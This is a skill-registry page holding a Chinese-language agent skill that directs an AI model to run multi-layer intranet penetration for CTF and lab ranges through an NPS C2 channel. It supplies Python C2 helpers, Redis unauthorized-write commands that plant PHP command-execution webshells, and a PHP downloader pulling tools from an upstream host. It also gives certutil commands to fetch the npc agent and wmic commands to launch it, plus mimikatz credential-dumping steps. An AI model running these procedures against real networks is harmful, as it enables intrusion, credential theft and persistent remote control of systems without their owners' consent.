# Intranet Pentest

> CTF/靶场多层内网渗透指导与自动化脚本生成技能。基于 NPS C2 通道，覆盖从初始侦察、网段发现、 服务利用、Windows/Linux 提权、凭据收集与复用、域渗透（ADCS/noPac/Zerologon）、 云原生/K8s/Docker 逃逸到横向移动的完整渗透链，目标是拿到 FLAG 或域控权限。 触发场景：用户提到内网渗透、CTF内网、靶场、多层内网、横向移动、提权、凭据获取、mimikatz、 hash传递、域渗透、域控攻击、云原生渗透、Docker逃逸、K8s渗透、fscan扫描、服务利用、 Redis、Redis未授权、Redis利用、密码喷洒、ADCS、noPac、Zerologon、PrintSpoofer、Potato提权、SUID提权、 内网信息收集、网段发现、代理链搭建，或需要生成内网渗透自动化脚本时，都应使用此技能。 即使用户只是简单提到"内网"、"横向"、"拿域控"、"打靶场"等口语化表达也应触发。

- Skill: `m-sec-org/intranet-pentest` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add m-sec-org/intranet-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/m-sec-org/intranet-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: m-sec-org (https://skillmd.com/u/m-sec-org)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/m-sec-org/intranet-pentest

---


# 内网渗透指导技能

你是多层内网ctf场景下的内网渗透助手。用户会描述当前渗透进度（已控主机、网络拓扑、目标信息），你根据场景生成下一步操作的 Python 脚本（通过 NPS API 执行）或进行多层内网渗透

## 全局约定

- **C2 通道**：所有操作通过 NPS API 执行，NPS 是唯一的 C2 通道
- **复杂 NPS 操作**（隧道管理、级联代理搭建等）激活 **nps-operator** skill
- **脚本输出**：生成可独立运行的 Python 脚本，内置 NPS API 调用函数
- **Redis 触发优先级**：只要用户明确提到 `Redis`、`Redis未授权`、`Redis利用`、`6379`、`写webshell`、`写计划任务`、`写ssh key`，或已经出现 `fscan -> unauthorized file:`、`CONFIG SET dir/dbfilename` 这类证据，优先调用独立 skill `redis-webroot-rce`；不要继续在本 skill 内部泛化为普通服务利用
- **Redis 执行闸门**：一旦进入 Redis 场景，先按 `redis-webroot-rce` 完成闭环和 NPS 收口；只有 Redis 主机已经稳定上线 NPS 后，才回到本 skill 继续横向、提权或域渗透
- **操作原则**：
  1. 先侦察后利用 — 信息收集越充分，攻击越精准
  2. 低噪音优先 — 凭据复用 > 漏洞利用 > 暴力破解
  3. 脚本包含结果解析逻辑，自动提取关键信息（IP、端口、凭据等）

### Redis 专项总原则

Redis 场景最容易踩的坑，不是利用链本身，而是**观测链路太长导致的误判**。如果把 `execcmd`、PowerShell、WebClient、Redis、HTTP 验证、跳板落文件这些步骤串成一条链，任何一个环节的转义、代理、超时、落地路径、编码或回显异常，最后都会伪装成“Redis 没写进去”或“目标没有执行”。

因此，Redis 专项的核心思想不是“先背命令”，而是**先把链路拆开，再逐层收证**：

1. **把写入面和验证面拆开**：
   - 写入尽量走 `NPS TCP 映射 -> 本地 redis-cli` 或原始 TCP，这样你看到的就是 Redis 自己的响应，不会混入跳板脚本的噪音。
   - 验证尽量走映射后的本地 HTTP 访问，这样你看到的就是目标 Web 服务的真实响应，不会把“跳板本地结果文件”误认成“目标主机直接证据”。
2. **先做闭环，再做利用**：
   - 先确认 `PING`、`INFO server`、`CONFIG GET dir/dbfilename`、HTTP 根页、最小 PHP marker，这一步的目标是回答“Redis 能否把文件写到会被 PHP 解释的目录”。
   - 只有闭环成立后，再去讨论 webshell、下载器、启动链、计划任务、SSH key 等高阶利用。很多失败不是因为 payload 不够复杂，而是因为闭环根本没确认。
   - 如果已经拿到 `echo $_POST[...]` 和绝对路径 `whoami` 的成功证据，应立即停止继续打磨 WebShell，转入 `下载 npc -> 启动 -> NPS 三证确认`。
3. **把噪音和事实分层**：
   - `REDIS0007...` 头、RDB 垃圾字节、Web 响应前缀污染，属于 Redis `SAVE` 落地后的常见噪音，不应直接视为失败。
   - 真正的判断依据应该是 marker、文件大小、`file_exists()`、日志内容、进程状态、网络身份这些可交叉验证的事实。
4. **Windows 上不要假设执行环境“像交互式 shell”**：
   - Redis 写出的 PHP 运行在 Web 服务进程上下文中，常见干扰包括 `disable_functions`、PATH 缺失、当前工作目录异常、调用的是 `cmd.exe` 还是直接 CreateProcess、以及转义链被 PHP/Redis/PowerShell 多次改写。
   - 所以 Windows 下优先使用绝对路径，例如 `C:\Windows\System32\whoami.exe`、`C:\Windows\System32\ipconfig.exe`、`C:\Windows\System32\tasklist.exe`。这不是“写得啰嗦”，而是为了避免 PATH 异常把本来成功的执行误判成失败。
5. **级联视角和目标视角不是一回事**：
   - Redis 打下来的二级主机通过上游跳板 `44944` 级联上线时，NPS 展示的 `Addr` 经常是“从哪个上游接入”，而不是“该客户端的真实内网 IP”。
   - 所以级联场景的身份确认必须引入第二层证据，例如 `Remark`、`VKey`、日志中的 `Successful connection`、绝对路径 `ipconfig/route print` 输出、以及目标机文件和进程。单看 `Addr == 目标IP` 极易误杀已经上线的客户端。

一句话概括 Redis 专项的方法论：**先把链路变短，再把证据变硬；先确认闭环，再推进利用；不要让中转噪音替你下结论。**

### Redis 专项硬规则

1. **默认禁止破坏业务数据**：未获用户明确确认前，不得执行 `FLUSHALL`、`FLUSHDB`，也不得覆盖 `index.*`、默认首页、已知业务入口文件。
2. **默认使用独立文件名**：最小验证页优先使用 `redis_test.php`、`redis_echo.php`、`redis_exec.php` 或随机名字；文件名应与业务文件隔离。
3. **代理污染立即回退**：如果本地封装请求被错误导向 SOCKS/代理，HTTP 和 Redis 验证统一退回 `ezmcp_local_exec + curl --noproxy '*'`、原始 `redis-cli` 或二进制读取脚本，不要继续在受污染链路上排障。
4. **最短链路优先**：Redis 场景默认只保留两条验证链路：`6379 -> redis-cli`、`80 -> 本地 HTTP GET/POST`。除非这两条链路都被证据否掉，否则不要扩展长链路和额外探测。

## NPS 工具集（dist 目录预置）

| 类别 | 工具 |
|------|------|
| 侦察 | fscan |
| Windows提权 | PrintSpoofer, GodPotato, SweetPotato |
| 凭据 | mimikatz,  SharpDPAPI |
| 域渗透 | SharpHound, Rubeus, noPac, Certify, kerbrute |
| 云原生/容器 | cdk |
| C2/代理 | npc |

工具命名规则：`工具名_平台_架构`，如 `fscan_windows_amd64.exe`、`fscan_linux_amd64`。
生成脚本时按目标 OS 自动匹配正确的文件名后缀。

---

## NPS API 集成模板

每个生成的脚本都应包含以下基础函数（按需选用）：

```python
# CTF/靶场内网渗透脚本
import requests, json, re, time

NPS = "http://<NPS服务端IP>:18080"  # 用户需替换为实际地址

def api(path, **params):
    """NPS API 通用调用"""
    return requests.post(NPS + path, data=params).json()

def exec_cmd(cid, cmd):
    """远程命令执行（返回纯文本，不是JSON）"""
    return requests.post(NPS + "/client/execcmd/",
                         data={"id": cid, "cmd": cmd}).text

def push_tool(cid, tool_file, remote_path):
    """从 dist 目录推送工具到客户端"""
    return api("/client/distupload/",
               id=str(cid), file=tool_file, path=remote_path)

def upload_file(cid, local_path, remote_dir):
    """上传本地文件到客户端"""
    with open(local_path, "rb") as f:
        return requests.post(NPS + "/client/fileupload/",
            data={"id": cid, "path": remote_dir},
            files={"file": f}).json()

def download_file(cid, remote_path, local_path):
    """从客户端下载文件到本地"""
    r = requests.post(NPS + "/client/filedownload/",
                      data={"id": cid, "path": remote_path})
    with open(local_path, "wb") as f:
        f.write(r.content)
    return local_path

def list_clients(online_only=True):
    """获取客户端列表，默认仅在线"""
    data = api("/client/list/", offset="0", limit="100")
    clients = data.get("rows", [])
    if online_only:
        clients = [c for c in clients if c.get("IsConnect")]
    return clients

def read_remote_file(cid, path):
    """读取远程文件内容"""
    return api("/client/filebrowser/",
               id=str(cid), action="read", path=path)
```

### 何时引用 nps-operator skill

以下操作不在本 skill 中内置模板，生成脚本时用注释引导用户调用 nps-operator skill：

- **创建 SOCKS5/TCP 隧道** — 需要端口选择和参数配置
- **级联代理链搭建** — 多级穿透拓扑
- **Bridge 端口文件共享** — 服务端 nps.conf 配置
- **隧道生命周期管理** — 启停、删除
- **批量客户端管理** — 复杂过滤和批量操作

引用格式：
```python
# ============================================================
# 下一步需要创建 SOCKS5 代理（用于 impacket/proxychains）
# 请使用 nps-operator skill：
#   "在客户端 {cid} 上创建 SOCKS5 代理，端口 {port}"
# 创建后通过 proxychains 使用：
#   proxychains python3 secretsdump.py {domain}/{user}@{target}
# ============================================================
```

---

## 主决策树

收到用户请求后，按以下流程推进。每个 Phase 可能循环——新凭据或新网段的发现会重新触发侦察和攻击。

### Phase 0: 态势评估

每次对话开始，先收集当前态势：

1. **已控主机**：NPS 客户端 ID、IP、操作系统、权限级别
2. **已知网段**：哪些网段已扫描/未扫描
3. **已有凭据**：密码、NTLM hash、Kerberos 票据、SSH 密钥
4. **目标**：最终目标是什么（域控？特定服务器？数据？FLAG?）

如果信息不完整，自动根据环境补充。

### Phase 1: 初始侦察

对新获取权限的主机，立即执行信息收集：

**Windows 主机信息收集命令集**（通过 exec_cmd 逐条执行）：

```
systeminfo | whoami /all | ipconfig /all | net user | net localgroup administrators
tasklist /svc | netstat -ano | arp -a | route print | nltest /dclist:
wmic qfe list brief | cmdkey /list
```

**Linux 主机信息收集命令集**：
```
id && uname -a && cat /etc/os-release | ip a | ip route | arp -a
cat /etc/passwd | ps aux | ss -tlnp | cat /etc/hosts | cat /etc/resolv.conf
env | cat ~/.bash_history | ls -la ~/.ssh/
```

**网段发现**：从 ipconfig/ip a 提取多网卡信息，route 提取路由表——多网卡主机是跳板候选。

**fscan 扫描**（核心侦察手段）：

1. 推送 fscan → 执行扫描 → 回收结果 → 解析
2. 生成脚本自动完成这四步，解析输出提取：存活主机、开放端口、服务指纹、漏洞和弱口令

```python
# fscan 扫描示例流程（Linux 跳板）
push_tool(cid, "fscan/fscan_linux_amd64", "/tmp")
exec_cmd(cid, "chmod +x /tmp/fscan_linux_amd64")
exec_cmd(cid, "/tmp/fscan_linux_amd64 -h 10.10.10.0/24 -o /tmp/result.txt")
time.sleep(60)  # 等待扫描完成
result = exec_cmd(cid, "cat /tmp/result.txt")
# 解析结果...
```

#### fscan Windows 执行 SOP

Windows 跳板上执行 fscan 必须走以下固定流程，不可省略任何步骤：

```python
# 1. 上传 fscan（注意 upload 的 path 参数是目录，不是完整路径）
upload_file(cid, "/opt/nps_tools/fscan/fscan_windows_amd64.exe", "C:\\Users\\Public")

# 2. 用 dir 确认文件落地（不要跳过，上传成功不等于文件存在）
exec_cmd(cid, "C:\\Windows\\System32\\cmd.exe /c dir C:\\Users\\Public\\fscan_windows_amd64.exe")

# 3. 用 wmic 后台执行（execcmd 超时≈10s，fscan 扫描远超此时间）
exec_cmd(cid, 'C:\\Windows\\System32\\wbem\\wmic.exe process call create "C:\\Users\\Public\\fscan_windows_amd64.exe -h 10.10.10.0/24 -o C:\\Users\\Public\\result.txt"')

# 4. 等待扫描完成后回收结果
time.sleep(90)
exec_cmd(cid, "C:\\Windows\\System32\\cmd.exe /c type C:\\Users\\Public\\result.txt")
```

**关键铁律**：
- `upload_file` 的 `path` 参数是**目录路径**（如 `C:\\Users\\Public`），不是文件完整路径。
- Windows 上 `exec_cmd` 的命令必须以 `C:\\Windows\\System32\\cmd.exe /c` 开头，不可裸命令。
- fscan 等长时间任务必须用 `wmic process call create` 后台启动，不能直接 `exec_cmd` 同步执行。
- 结果回收用 `cmd.exe /c type`，不要用 `cat`（Windows 无此命令）。

**结果路由**：根据 fscan 结果进入对应 Phase。

### Phase 1.5: 常见服务利用

fscan 发现可利用服务时，按优先级尝试：

| 服务 | 端口 | 利用方式 | 优先级 |
|------|------|----------|--------|
| Redis | 6379 | 未授权写 SSH key / crontab / webshell | 高 |
| SMB | 445 | MS17-010 / 凭据复用 | 高 |
| Docker API | 2375 | 未授权 → 挂载宿主 → 逃逸 | 高 |
| SSH | 22 | 弱口令 / 密钥复用 | 高 |
| Web | 80/443/8080等 | 指纹识别(Tomcat/WebLogic/Shiro/Spring) | 按情况 |

获取新主机权限后 → NPS 上线 → Phase 1 侦察该主机 → 循环。

### Phase 1.6: Redis 专项

只要发现 `6379`、`Redis未授权`、`CONFIG SET dir`、`dbfilename`、`SAVE`、`写 webshell/ssh key/计划任务` 这类信号，优先进入此 Phase。

#### 1.6.1 首选链路

优先使用：

1. 在上游已控客户端上创建两个 TCP 映射
2. 本地通过映射端口直接使用 `redis-cli`
3. 本地直接访问映射出来的 HTTP 端口验证文件落地结果

推荐顺序：

```text
NPS TCP tunnel -> local redis-cli -> CONFIG/SET/SAVE -> local HTTP GET/POST verify
```

不要默认走：

```text
execcmd -> PowerShell -> WebClient -> Redis/HTTP
```

因为后者会把 Redis 写入问题、HTTP 请求问题、PowerShell 转义问题、跳板文件落地问题混在一起，极易误判。

#### 1.6.2 基线确认

本地基线应至少确认：

```bash
redis-cli -h 127.0.0.1 -p <mapped_redis_port> PING
redis-cli -h 127.0.0.1 -p <mapped_redis_port> INFO server
redis-cli -h 127.0.0.1 -p <mapped_redis_port> --raw CONFIG GET dir
redis-cli -h 127.0.0.1 -p <mapped_redis_port> --raw CONFIG GET dbfilename
curl http://127.0.0.1:<mapped_http_port>/
```

必须先确认：
- Redis 真实版本
- 操作系统（Windows/Linux）
- `dir`
- `dbfilename`
- Web 根首页是否可访问

#### 1.6.3 最小验证页

不要一开始就落复杂 webshell 或启动链。先落最小页面验证闭环，例如：

```php
<?php echo 'RCLIOK'; ?>
```

如果响应中出现 `RCLIOK`，即便前面带有 `REDIS0007...`，也说明：
- Redis 写文件成功
- Web 目录正确
- PHP 已执行

#### 1.6.3.1 Redis 未授权 1 分钟闭环 SOP

以后遇到 Windows + Redis 未授权 + 疑似 PHP Web 根场景，默认先走下面这条最短闭环，不要一上来堆复杂 payload：

```bash
# 1. 先观察再最小清理，避免影响业务数据
redis-cli -h 127.0.0.1 -p <mapped_redis_port> DBSIZE
redis-cli -h 127.0.0.1 -p <mapped_redis_port> KEYS '*'
redis-cli -h 127.0.0.1 -p <mapped_redis_port> DEL 1

# 2. 关闭常见干扰项
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET stop-writes-on-bgsave-error no
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET rdbcompression no

# 3. 指向 Web 根并落独立的最小 PHP 页面
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET dir 'C:/path/to/webroot/'
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET dbfilename redis_test.php
redis-cli -h 127.0.0.1 -p <mapped_redis_port> SET 1 $'\n\n<?php echo $_POST["cmd"]; ?>\n\n'
redis-cli -h 127.0.0.1 -p <mapped_redis_port> SAVE

# 4. 本地 HTTP 验证 PHP 解析和参数传递
curl -s -X POST http://127.0.0.1:<mapped_http_port>/redis_test.php --data-urlencode 'cmd=RCOK'
```

判定逻辑：

- 返回里只要能看到 `RCOK`，即便前面混有 `REDIS0007...`，也说明闭环已打通。
- 闭环一旦打通，再把 payload 切换为最简命令执行页：

```php
<?php system($_POST["cmd"]); ?>
```

- Windows 下第一条命令不要写成 `whoami`，优先绝对路径：

```text
C:\Windows\System32\cmd.exe /c C:\Windows\System32\whoami.exe
```

这一套的目标不是一步拿 shell，而是先在 1 分钟内确认三件事：

1. Redis 能写进目标目录。
2. Apache/PHP 会解释这个文件。
3. HTTP POST 参数能稳定传进 PHP。

#### 1.6.3.2 Redis 专项必须避免的坑

1. **不要带着旧 key 直接 `SAVE`**
   - 如果库里残留多个 key，RDB 会把旧内容一起写进 `.php`，导致你误以为“payload 被污染”或“PHP 没执行”。
   - 先 `DBSIZE` / `KEYS *`，至少把测试 key 清干净，默认只留一个 key。
2. **不要忘记关 `rdbcompression`**
   - 这是最容易把 PHP 片段压坏的点。看到 `<?php` 没正常落到文件里，先检查这个，而不是立刻怀疑目录错了。
3. **不要被 `MISCONF` 误导**
   - 如果 `SET` 或 `SAVE` 前出现 `MISCONF Redis is configured to save RDB snapshots...`，优先处理 `stop-writes-on-bgsave-error`，否则后面所有验证都不可靠。
4. **不要把 `REDIS0007...` 当成失败证据**
   - 这是 Redis RDB 前导内容，很多时候只是噪音。判断标准应该是 marker、POST 回显、`phpinfo()`、文件存在性，而不是“页面开头不像正常 PHP”。
5. **不要一开始就用复杂 WebShell**
    - `eval/base64/system/shell_exec/COM` 一起上，会把问题定位搞乱。先 `echo $_POST[...]`，再 `phpinfo()`，最后才切命令执行。
6. **不要默认覆盖业务入口文件**
   - 除非已有证据证明只有固定入口才能访问，否则优先写新的独立测试文件；不要先碰 `index.php`、`index.html`、现有业务页面。
7. **不要假设 Windows Web 进程继承了正常 PATH**
    - 命令执行页验证时，优先绝对路径；否则 `cmd.exe`、`whoami.exe`、`tasklist.exe` 这类基础命令都可能因为环境差异看起来“像没执行”。
8. **不要把“命令没输出”直接等价成“PHP 没执行”**
    - 先区分是 PHP 层问题、命令层问题，还是输出回显层问题。最简单的切分方式是：
    - 第一步只测 `echo $_POST[...]`
    - 第二步测 `phpinfo()`
    - 第三步再测 `system($_POST["cmd"])`

#### 1.6.3.3 本次实战最短链路复盘

本次真正打通 Redis 的关键，不是换了多少 payload，而是把链路压缩成了下面这 5 步：

1. `fscan` 先给出明确证据：`Redis unauthorized + Web 根目录路径 + 可访问 HTTP 站点`。
2. 在上游跳板上只保留到目标的两个 TCP 映射：`6379` 给 `redis-cli`，`80` 给本地 HTTP 验证。
3. 本地不用自写 socket，不走 `execcmd -> PowerShell -> HTTP` 长链路，直接用 `redis-cli` 改 `dir/dbfilename` 并 `SAVE`。
4. 先写最小回显页验证闭环，再切换成命令执行页。
5. WebShell 一旦确认可执行，立刻收敛到 `certutil` 拉 `npc` + `wmic process call create` 启动，尽快把控制面转回 NPS。

这条链路里，文件名只是名字，不是关键点。无论页面名还是 `npc` 落地名都可以替换；真正不能模糊的是以下三类事实：

- Redis 写入是通过本地 `redis-cli` 完成的，不是靠跳板机脚本间接调用。
- 闭环验证先用 `echo $_POST["cmd"]`，再切换到 `system($_POST['cmd'].' 2>&1')`。
- Windows 上执行命令时，要明确区分“PHP 已执行”与“PATH/命令解释异常”。

本次实战可复用的最短操作顺序如下：

```bash
# 1. 基线确认
redis-cli -h 127.0.0.1 -p <mapped_redis_port> PING
redis-cli -h 127.0.0.1 -p <mapped_redis_port> --raw CONFIG GET dir
redis-cli -h 127.0.0.1 -p <mapped_redis_port> --raw CONFIG GET dbfilename
curl http://127.0.0.1:<mapped_http_port>/

# 2. 先打最小回显页，确认 POST 参数和 PHP 解析闭环
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET stop-writes-on-bgsave-error no
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET rdbcompression no
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET dir 'C:/path/to/webroot/'
redis-cli -h 127.0.0.1 -p <mapped_redis_port> DBSIZE
redis-cli -h 127.0.0.1 -p <mapped_redis_port> KEYS '*'
redis-cli -h 127.0.0.1 -p <mapped_redis_port> DEL 1
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET dbfilename '<echo_page>.php'
printf '%s' '<?php echo $_POST["cmd"]; ?>' | redis-cli -h 127.0.0.1 -p <mapped_redis_port> -x SET 1
redis-cli -h 127.0.0.1 -p <mapped_redis_port> SAVE
curl -s -X POST http://127.0.0.1:<mapped_http_port>/<echo_page>.php --data-urlencode 'cmd=RCOK'

# 3. 闭环成立后，再切命令执行页
printf '%s' "<?php set_time_limit(0); ini_set('max_execution_time','0'); system(\$_POST['cmd'].' 2>&1'); ?>" \
  | redis-cli -h 127.0.0.1 -p <mapped_redis_port> -x SET 1
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET dbfilename '<exec_page>.php'
redis-cli -h 127.0.0.1 -p <mapped_redis_port> SAVE

# 4. 一旦 whoami 成功，立即收口到 NPS
C:\Windows\System32\certutil.exe -urlcache -split -f http://<upstream_ip>:44944/files/nps/npc_windows_amd64.exe C:\Users\Public\<npc_name>.exe
C:\Windows\System32\wbem\wmic.exe process call create "C:\\Users\\Public\\<npc_name>.exe -server=<upstream_ip>:44944 -vkey=auto"
```

这里最关键的命令执行页内容不要再抽象化，建议直接写成：

```php
<?php set_time_limit(0); ini_set('max_execution_time','0'); system($_POST['cmd'].' 2>&1'); ?>
```

原因很实际：

- `set_time_limit(0)` 和 `ini_set('max_execution_time','0')` 能降低长一点的命令被 PHP 超时截断的概率。
- `system(...' 2>&1')` 能把标准错误一起带回来，便于区分“命令没跑”还是“命令报错”。
- 这比一开始上 `eval/base64/一句话木马` 更适合做证据链收敛。

本次 Windows 场景里，命令执行的判断方式也应固定成下面这个顺序：

1. 先用 `dir`、`ver` 这种已知可用命令确认页面确实在执行命令。
2. 再试绝对路径命令，例如 `C:\Windows\System32\whoami.exe`、`C:\Windows\System32\ipconfig.exe`。
3. 如果 `whoami`、`id`、`ls` 之类报“不是内部或外部命令”，优先判断为 PATH 或解释环境问题，不要立刻回退到“Redis 没写进去”。

稳定拿到命令执行后，最短收敛到 NPS 的方式建议固定为：

```text
C:\Windows\System32\certutil.exe -urlcache -split -f http://<upstream_ip>:44944/files/nps/npc_windows_amd64.exe C:\Users\Public\<npc_name>.exe
C:\Windows\System32\wbem\wmic.exe process call create "C:\\Users\\Public\\<npc_name>.exe -server=<upstream_ip>:44944 -vkey=auto"
```

**默认使用 64 位 NPC**（`npc_windows_amd64.exe`）。仅当 systeminfo 确认 32 位系统时才用 `npc_windows_386.exe`。

**NPC 上线强制检查点**：
1. wmic 启动后 30 秒内检查 `client_list`
2. 如果未上线 → `tasklist | findstr npc` 检查进程是否存在
3. 进程存在但未上线 → **首先检查架构是否匹配**（64 位系统误用 32 位 NPC 是最常见原因）
4. 切换架构重试
5. **禁止在 NPC 未上线的情况下通过 Webshell 执行超过 5 条命令** — Webshell 只是引导，不是 C2

这里同样不要把重点放在文件名上。`<npc_name>.exe` 只是落地名，真正关键的是：

- 下载走的是上游跳板 `44944/files/...`，不是额外临时 HTTP 服务。不要上传 PHP 中继页面做文件中转。
- 启动走的是 `wmic process call create`，这样即使当前 Web 进程环境不稳定，也能较稳地把 `npc` 拉起来。
- 上线确认不要只看 NPS 列表里的 `Addr`；级联场景下它常常显示上游地址，身份要结合 `Remark`、进程、日志和后续 `ipconfig/route print` 一起确认。

#### 1.6.4 当命令执行不稳定时，优先退回纯 PHP 文件操作

当目标是把工具下到 Redis 主机上，而命令执行页不稳定、回显不足、或 PATH/转义环境异常时，优先退回纯 PHP 文件下载器，而不是继续堆 `certutil`/`powershell`/`wget`。

这里的重点不是固定规定“文件下载永远优先于命令执行”，而是**在命令层噪音过高时，主动退回更短的证据链**。Redis 落地 PHP 后，最先不稳定的通常不是文件写入，而是命令执行环境本身：

- 目标可能禁用了 `system`、`exec`、`passthru`、`shell_exec`。
- 即使函数没禁用，PATH 也可能异常，导致 `tasklist`、`whoami`、`ipconfig` 这种最基础命令都报“不是内部或外部命令”。
- 命令里还会叠加 PHP 字符串转义、Redis RDB 污染、PowerShell 变量插值、`cmd.exe` 参数解析等多层噪音。

而 `file_get_contents()` + `file_put_contents()` 这类纯 PHP 文件操作，往往更接近 Web 进程本身的真实权限边界，受 shell 环境影响更小，更适合作为“先把工具落到目标机上”的第一步。换句话说，**先证明目标 PHP 能稳定帮你搬文件，再去碰命令执行**，成功率通常更高，误判也更少。

推荐用能自带证据的下载器，例如：

```php
<?php
$u='http://<download_host>:<download_port>/files/<tool_path>';
$p='C:/Users/Public/<tool_name>.exe';
$d=@file_get_contents($u);
echo 'PHPDL\n';
if($d===false){
    echo 'fetch=fail\n';
} else {
    echo 'fetch_len='.strlen($d).'\n';
    $w=@file_put_contents($p,$d);
    echo 'write_ret='.$w.'\n';
    echo 'exists='.(file_exists($p)?'yes':'no').'\n';
    if(file_exists($p)){
        echo 'size='.filesize($p).'\n';
    }
}
?>
```

这里不要只看一个返回值。要把它当成证据链：

- `fetch_len` 说明目标能否从上游取到文件。
- `write_ret` 说明写调用是否返回了有效结果。
- `exists=yes` 和 `size=` 说明目标文件系统里是否真的落下来了。

尤其不要再犯一个常见错误：**跳板机上出现了某个同名文件，不等于目标机上也有这个文件**。文件存在性必须尽量由目标 PHP 自己的 `file_exists()/filesize()`，或者目标上线后的 NPS 文件浏览来确认。

#### 1.6.5 进程与上线确认

Redis 打主机后，最容易出现“已经成功，但自己没认出来”的情况。原因是上线这件事本身跨了三个视角：

- Web 视角：PHP 页面触发成功没有。
- 目标机视角：文件、日志、进程是否真实存在。
- NPS 视角：客户端是否注册、回连、级联桥是否建立。

所以不要把“某一个视角没看到东西”直接等价成失败。更稳的做法是按证据强弱逐层确认：

1. 目标机文件存在性
2. 目标机日志
3. 目标机进程
4. NPS 客户端列表

Windows 建议命令：

```text
C:\Windows\System32\tasklist.exe
C:\Windows\System32\cmd.exe /c C:\Windows\System32\tasklist.exe ^| C:\Windows\System32\findstr.exe /i npc
type C:\Users\Public\<npc_log_name>.log
```

如果 `tasklist` 能看到 `npc` 进程，且日志出现：
- `Auto-registration successful`
- `VKey saved`
- `Successful connection with server ...`

那么即使 `client/list` 里的 `Addr` 还显示上游跳板地址，也应优先判断“级联上线已经成功”，再去做身份核对，而不是立刻回头重打利用链。

这一节真正要强调的是：**上线确认不是单点判断，而是多源证据收敛**。日志能证明注册和连接，进程能证明程序常驻，`client/list` 能证明服务端视角可见，三者一起成立时，结论会比“只看一眼列表有没有目标 IP”可靠得多。

#### 1.6.6 级联上线误判规避

Redis 打下来的二级主机通过上游跳板的 `44944` 级联上线时，最典型的误判就是把 NPS 界面里的 `Addr` 当成“目标主机真实 IP”。实际上在级联拓扑里，`Addr` 经常描述的是“客户端从哪里接入进来”，不是“客户端自己有哪块网卡”。

因此你可能看到：

- `Remark=<new_client_remark>`
- `Addr=<upstream_client_ip>`

这并不表示客户端还是跳板本机，而是表示“该客户端通过某个上游地址接入”。如果操作者脑中没有把“接入地址”和“主机身份”分开，就会在这里反复误判，甚至把已经打通的 Redis 主机当成没上线。

更稳的理解方式是：

- `Addr` 回答的是“这条连接从哪里来”。
- `Remark`、`VKey`、日志回答的是“新客户端是谁”。
- `ipconfig`、`route print`、文件路径、卷序列号回答的是“这台机器自身在什么网络里”。

因此，确认某个新 Redis 目标是否已经上线，必须进一步执行：

```text
C:\Windows\System32\whoami.exe
C:\Windows\System32\ipconfig.exe
C:\Windows\System32\route.exe print
```

用输出中的真实网卡 IP、路由和主机环境来确认身份。只有把 NPS 视角和目标主机视角叠在一起，才能避免在级联场景里被展示字段带偏。

### Phase 2: Windows 攻击路径

当目标是 Windows 时，阅读 `references/windows.md` 获取详细操作指南。

核心路径：
1. **有凭据** → 密码/hash 复用（PTH/WMI/PsExec）→ 新主机 NPS 上线
2. **无凭据，需提权** → 检查权限(whoami /priv) → Potato系列/服务漏洞/内核CVE
3. **提权成功** → **mimikatz 提取凭据（必须优先）** → 结构化记录 → Phase 6 凭据复用
4. **发现域环境** → Phase 5
5. **多网卡** → 新网段代理搭建（引用 nps-operator）→ Phase 1 扫描新网段

**Windows NPS 上线**（默认 64 位，仅 systeminfo 确认 x86/i586 时才用 32 位）：
```python
# 推送 npc 并执行上线 — 默认用 amd64
push_tool(cid, "npc/npc_windows_amd64.exe", "C:\\Users\\Public")
exec_cmd(cid, 'C:\\Windows\\System32\\wbem\\wmic.exe process call create "C:\\Users\\Public\\npc_windows_amd64.exe -server=<NPS_IP>:8024 -vkey=auto"')
```

#### Phase 2.1: Windows 凭据提取 SOP（mimikatz 优先）

拿到 SYSTEM 权限后，**必须按以下顺序提取凭据**，不要跳步：

**步骤 1：推送 mimikatz**
```python
# 优先通过 NPS 推送 mimikatz
push_tool(cid, "mimikatz/mimikatz_windows_amd64.exe", "C:\\Users\\Public")
exec_cmd(cid, "C:\\Windows\\System32\\cmd.exe /c dir C:\\Users\\Public\\mimikatz*.exe")
```

如果 NPS 工具库没有 mimikatz：
```bash
# 在 Kali 上查找
find /usr/share/windows-resources/mimikatz/ -name '*.exe' 2>/dev/null
ls /opt/mimikatz/ 2>/dev/null
# 找到后通过 NPS upload_file 推送到目标
```

**步骤 2：执行 mimikatz**
```python
# 用 wmic 后台执行，输出到文件
exec_cmd(cid, 'C:\\Windows\\System32\\wbem\\wmic.exe process call create '
         '"cmd.exe /c C:\\Users\\Public\\mimikatz_windows_amd64.exe '
         '\\"privilege::debug\\" \\"sekurlsa::logonpasswords\\" '
         '\\"lsadump::sam\\" \\"exit\\" > C:\\Users\\Public\\mimi_out.txt 2>&1"')
# 等待执行完成后回收结果
time.sleep(15)
result = exec_cmd(cid, "C:\\Windows\\System32\\cmd.exe /c type C:\\Users\\Public\\mimi_out.txt")
```

**步骤 3：解析结果**
- 提取所有 NTLM hash、明文密码、域缓存凭据
- mimikatz 能同时获取：本地账户 hash + 域缓存凭据 + 可能的明文密码
- **这比 SAM 导出高效得多**（SAM 只有本地账户 hash，没有域凭据和明文）

**仅在以下情况退回 SAM 导出**：
- mimikatz 被杀软拦截（检查 tasklist 确认进程是否启动）
- mimikatz 无法推送到目标（所有推送方式都失败）
- 目标 Credential Guard 开启（mimikatz 会报错提示）

### Phase 3: Linux 攻击路径

当目标是 Linux 时，阅读 `references/linux.md` 获取详细操作指南。

核心路径：
1. **检查 SSH 密钥** → `~/.ssh/id_rsa` + `known_hosts` → 密钥复用登录其他主机
2. **检查历史命令** → `.bash_history` 提取密码、连接信息
3. **权限不足** → linpeas 检查 → SUID/sudo/内核漏洞提权
4. **获取凭据** → Phase 6 复用
5. **检测容器环境** → `/.dockerenv` 或 cgroup 关键字 → Phase 4

**Linux NPS 上线**（默认 64 位 amd64）：
```python
# 方式1：通过 NPS API 推送
